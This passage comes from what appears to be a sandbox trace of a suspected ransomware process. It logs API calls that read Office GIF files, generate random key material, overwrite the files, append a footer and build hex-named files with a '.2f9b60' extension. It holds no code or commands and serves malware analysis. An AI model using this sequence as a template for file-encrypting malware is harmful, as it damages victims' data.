RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f3940 [0234.767] SetFilePointerEx (in: hFile=0x334c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.768] WriteFile (in: hFile=0x334c, lpBuffer=0x431e14a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3030fb90, lpOverlapped=0x0 | out: lpBuffer=0x431e14a0*, lpNumberOfBytesWritten=0x3030fb90*=0x10a, lpOverlapped=0x0) returned 1 [0236.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62280 [0236.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202640e0 [0236.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202640e0) returned 1 [0236.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202640e0 [0236.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266600 [0236.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266600) returned 1 [0236.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62280) returned 1 [0236.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5dc70 [0236.470] sprintf (in: _Dest=0x1ce5dc70, _Format="%c%c" | out: _Dest="2e") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc72, _Format="%c%c" | out: _Dest="a1") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc74, _Format="%c%c" | out: _Dest="76") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc76, _Format="%c%c" | out: _Dest="02") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc78, _Format="%c%c" | out: _Dest="f3") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc7a, _Format="%c%c" | out: _Dest="84") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc7c, _Format="%c%c" | out: _Dest="2a") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc7e, _Format="%c%c" | out: _Dest="40") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc80, _Format="%c%c" | out: _Dest="cd") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc82, _Format="%c%c" | out: _Dest="59") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc84, _Format="%c%c" | out: _Dest="6c") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc86, _Format="%c%c" | out: _Dest="0a") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc88, _Format="%c%c" | out: _Dest="91") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc8a, _Format="%c%c" | out: _Dest="c3") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc8c, _Format="%c%c" | out: _Dest="96") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc8e, _Format="%c%c" | out: _Dest="36") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc90, _Format="%c%c" | out: _Dest="9d") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc92, _Format="%c%c" | out: _Dest="72") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc94, _Format="%c%c" | out: _Dest="4d") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc96, _Format="%c%c" | out: _Dest="5d") returned 2 [0236.470] sprintf (in: _Dest=0x1ce5dc98, _Format="%c%c" | out: _Dest="f1") returned 2 [0236.471] sprintf (in: _Dest=0x1ce5dc9a, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.471] sprintf (in: _Dest=0x1ce5dc9c, _Format="%c%c" | out: _Dest="99") returned 2 [0236.471] sprintf (in: _Dest=0x1ce5dc9e, _Format="%c%c" | out: _Dest="7a") returned 2 [0236.471] RtlInitAnsiString (in: DestinationString=0x3030fc08, SourceString="2ea17602f3842a40cd596c0a91c396369d724d5df1d9997a" | out: DestinationString="2ea17602f3842a40cd596c0a91c396369d724d5df1d9997a") [0236.471] RtlAnsiStringToUnicodeString (in: DestinationString=0x3030fbd8, SourceString="2ea17602f3842a40cd596c0a91c396369d724d5df1d9997a", AllocateDestinationString=1 | out: DestinationString="2ea17602f3842a40cd596c0a91c396369d724d5df1d9997a") returned 0x0 [0236.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309ffa0 [0236.471] wcscat (in: _Dest=0x431caf40, _Source="2ea17602f384" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2ea17602f384") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2ea17602f384" [0236.471] wcscat (in: _Dest=0x431caf40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2ea17602f384.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2ea17602f384.2f9b60" [0236.471] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2ea17602f384.2f9b60", NtPathName=0x3030fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2ea17602f384.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e36e0 Thread: id = 3875 os_tid = 0x15b0 [0229.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif")) returned 0x20 [0230.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF", dwFileAttributes=0x20) returned 1 [0231.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3344 [0231.777] GetFileSizeEx (in: hFile=0x3344, lpFileSize=0x345dfa60 | out: lpFileSize=0x345dfa60*=766) returned 1 [0231.777] SetFilePointerEx (in: hFile=0x3344, liDistanceToMove=0x2fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.777] ReadFile (in: hFile=0x3344, lpBuffer=0x345df9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x345dfa28, lpOverlapped=0x0 | out: lpBuffer=0x345df9e0*, lpNumberOfBytesRead=0x345dfa28*=0x4, lpOverlapped=0x0) returned 1 [0231.806] SetFilePointerEx (in: hFile=0x3344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0231.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264f20 [0231.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266690 [0231.807] NtQuerySystemTime (in: CurrentTime=0x345df920 | out: CurrentTime=0x345df920*=132462178358014000) returned 0x0 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x34b84f69 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x7dcd1490 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x7a5c2664 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x5618cea1 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x4ed126a9 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x7b09c3db [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x108cd810 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x72417865 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x6efcf2a9 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x4b0a6a5a [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x1ff1774f [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x40947498 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x361dde13 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x41059c31 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x168048cc [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x7806865b [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0xf55b0db [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x3502766d [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x18095ddd [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x157a08d0 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x4839ef4b [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x739cb31f [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x754b47d6 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x1b047fba [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x56e2e1db [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0xeaa4ddb [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x49c300b9 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x3b34b90b [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x378d3622 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x1c03bf09 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x6afae168 [0231.807] RtlRandomEx (in: Seed=0x345df910 | out: Seed=0x345df910) returned 0x3cfe5734 [0231.814] ReadFile (in: hFile=0x3344, lpBuffer=0x42962670, nNumberOfBytesToRead=0x2fe, lpNumberOfBytesRead=0x345df910, lpOverlapped=0x0 | out: lpBuffer=0x42962670*, lpNumberOfBytesRead=0x345df910*=0x2fe, lpOverlapped=0x0) returned 1 [0231.814] SetFilePointerEx (in: hFile=0x3344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.814] WriteFile (in: hFile=0x3344, lpBuffer=0x429445f0*, nNumberOfBytesToWrite=0x2fe, lpNumberOfBytesWritten=0x345df914, lpOverlapped=0x0 | out: lpBuffer=0x429445f0*, lpNumberOfBytesWritten=0x345df914*=0x2fe, lpOverlapped=0x0) returned 1 [0234.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d60 [0234.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f34c0 [0234.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f34c0) returned 1 [0234.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429445f0) returned 1 [0234.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42962670) returned 1 [0234.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb3e0) returned 1 [0234.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420582e0) returned 1 [0234.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f34c0 [0234.763] SetFilePointerEx (in: hFile=0x3344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.763] WriteFile (in: hFile=0x3344, lpBuffer=0x431e1380*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x345dfa30, lpOverlapped=0x0 | out: lpBuffer=0x431e1380*, lpNumberOfBytesWritten=0x345dfa30*=0x10a, lpOverlapped=0x0) returned 1 [0236.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62280 [0236.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202666f0 [0236.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202666f0) returned 1 [0236.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202666f0 [0236.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266720 [0236.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266720) returned 1 [0236.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62280) returned 1 [0236.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5dc70 [0236.464] sprintf (in: _Dest=0x1ce5dc70, _Format="%c%c" | out: _Dest="11") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc72, _Format="%c%c" | out: _Dest="e5") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc74, _Format="%c%c" | out: _Dest="d2") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc76, _Format="%c%c" | out: _Dest="1d") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc78, _Format="%c%c" | out: _Dest="ff") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc7a, _Format="%c%c" | out: _Dest="f3") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc7c, _Format="%c%c" | out: _Dest="32") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc7e, _Format="%c%c" | out: _Dest="26") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc80, _Format="%c%c" | out: _Dest="3f") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc82, _Format="%c%c" | out: _Dest="f8") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc84, _Format="%c%c" | out: _Dest="11") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc86, _Format="%c%c" | out: _Dest="30") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc88, _Format="%c%c" | out: _Dest="d4") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc8a, _Format="%c%c" | out: _Dest="61") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc8c, _Format="%c%c" | out: _Dest="7d") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc8e, _Format="%c%c" | out: _Dest="5f") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc90, _Format="%c%c" | out: _Dest="c4") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc92, _Format="%c%c" | out: _Dest="ea") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc94, _Format="%c%c" | out: _Dest="3e") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc96, _Format="%c%c" | out: _Dest="65") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc98, _Format="%c%c" | out: _Dest="d1") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc9a, _Format="%c%c" | out: _Dest="d6") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc9c, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.464] sprintf (in: _Dest=0x1ce5dc9e, _Format="%c%c" | out: _Dest="ae") returned 2 [0236.464] RtlInitAnsiString (in: DestinationString=0x345dfaa8, SourceString="11e5d21dfff332263ff81130d4617d5fc4ea3e65d1d64cae" | out: DestinationString="11e5d21dfff332263ff81130d4617d5fc4ea3e65d1d64cae") [0236.464] RtlAnsiStringToUnicodeString (in: DestinationString=0x345dfa78, SourceString="11e5d21dfff332263ff81130d4617d5fc4ea3e65d1d64cae", AllocateDestinationString=1 | out: DestinationString="11e5d21dfff332263ff81130d4617d5fc4ea3e65d1d64cae") returned 0x0 [0236.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309f670 [0236.465] wcscat (in: _Dest=0x431cb4e0, _Source="11e5d21dfff3" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\11e5d21dfff3") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\11e5d21dfff3" [0236.465] wcscat (in: _Dest=0x431cb4e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\11e5d21dfff3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\11e5d21dfff3.2f9b60" [0236.465] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\11e5d21dfff3.2f9b60", NtPathName=0x345dfa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\11e5d21dfff3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e3620 Thread: id = 3876 os_tid = 0x21d0 [0229.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif")) returned 0x20 [0230.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF", dwFileAttributes=0x20) returned 1 [0231.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3360 [0231.880] GetFileSizeEx (in: hFile=0x3360, lpFileSize=0x3472f840 | out: lpFileSize=0x3472f840*=2711) returned 1 [0231.880] SetFilePointerEx (in: hFile=0x3360, liDistanceToMove=0xa93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.880] ReadFile (in: hFile=0x3360, lpBuffer=0x3472f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3472f808, lpOverlapped=0x0 | out: lpBuffer=0x3472f7c0*, lpNumberOfBytesRead=0x3472f808*=0x4, lpOverlapped=0x0) returned 1 [0232.104] SetFilePointerEx (in: hFile=0x3360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202662d0 [0232.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202677a0 [0232.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267770 [0232.104] NtQuerySystemTime (in: CurrentTime=0x3472f700 | out: CurrentTime=0x3472f700*=132462178360978000) returned 0x0 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x793afbf5 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x2d9bdd17 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0xc0caca5 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x571b8c4 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x374a91dc [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x875bc67 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x719e9de [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x3a9983a3 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x54b60bae [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x54b60bae [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x127fff33 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x79da4878 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x2a10a28d [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x1e0101fb [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x806a7e3 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x571b1b61 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x1cc1be44 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x4aa7f7f0 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x6f8831cc [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x184a48fa [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x6d1254ab [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x7a609ef7 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x3d775742 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x710b86f7 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x6d86de41 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x3666cd0a [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x6d86de41 [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x790a949c [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x2dc89bff [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x10d342c [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x4cd7f82e [0232.105] RtlRandomEx (in: Seed=0x3472f6f0 | out: Seed=0x3472f6f0) returned 0x51a3093c [0232.113] ReadFile (in: hFile=0x3360, lpBuffer=0x202c10f0, nNumberOfBytesToRead=0xa97, lpNumberOfBytesRead=0x3472f6f0, lpOverlapped=0x0 | out: lpBuffer=0x202c10f0*, lpNumberOfBytesRead=0x3472f6f0*=0xa97, lpOverlapped=0x0) returned 1 [0232.113] SetFilePointerEx (in: hFile=0x3360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.113] WriteFile (in: hFile=0x3360, lpBuffer=0x202ee1b0*, nNumberOfBytesToWrite=0xa97, lpNumberOfBytesWritten=0x3472f6f4, lpOverlapped=0x0 | out: lpBuffer=0x202ee1b0*, lpNumberOfBytesWritten=0x3472f6f4*=0xa97, lpOverlapped=0x0) returned 1 [0235.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600f0 [0235.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0235.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6d0) returned 1 [0235.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ee1b0) returned 1 [0235.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c10f0) returned 1 [0235.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504e90) returned 1 [0235.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0235.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85f6d0 [0235.522] SetFilePointerEx (in: hFile=0x3360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.522] WriteFile (in: hFile=0x3360, lpBuffer=0x42c14870*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3472f810, lpOverlapped=0x0 | out: lpBuffer=0x42c14870*, lpNumberOfBytesWritten=0x3472f810*=0x10a, lpOverlapped=0x0) returned 1 [0236.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0236.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265ee0 [0236.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265ee0) returned 1 [0236.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265ee0 [0236.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a90 [0236.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a90) returned 1 [0236.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0236.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d9b0 [0236.774] sprintf (in: _Dest=0x1ce5d9b0, _Format="%c%c" | out: _Dest="22") returned 2 [0236.774] sprintf (in: _Dest=0x1ce5d9b2, _Format="%c%c" | out: _Dest="86") returned 2 [0236.774] sprintf (in: _Dest=0x1ce5d9b4, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9b6, _Format="%c%c" | out: _Dest="93") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9b8, _Format="%c%c" | out: _Dest="72") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9ba, _Format="%c%c" | out: _Dest="22") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9bc, _Format="%c%c" | out: _Dest="2a") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9be, _Format="%c%c" | out: _Dest="6c") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9c0, _Format="%c%c" | out: _Dest="2a") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9c2, _Format="%c%c" | out: _Dest="89") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9c4, _Format="%c%c" | out: _Dest="26") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9c6, _Format="%c%c" | out: _Dest="b9") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9c8, _Format="%c%c" | out: _Dest="9f") returned 2 [0236.775] sprintf (in: _Dest=0x1ce5d9ca, _Format="%c%c" | out: _Dest="42") returned 2 [0236.775] sprintf (in: 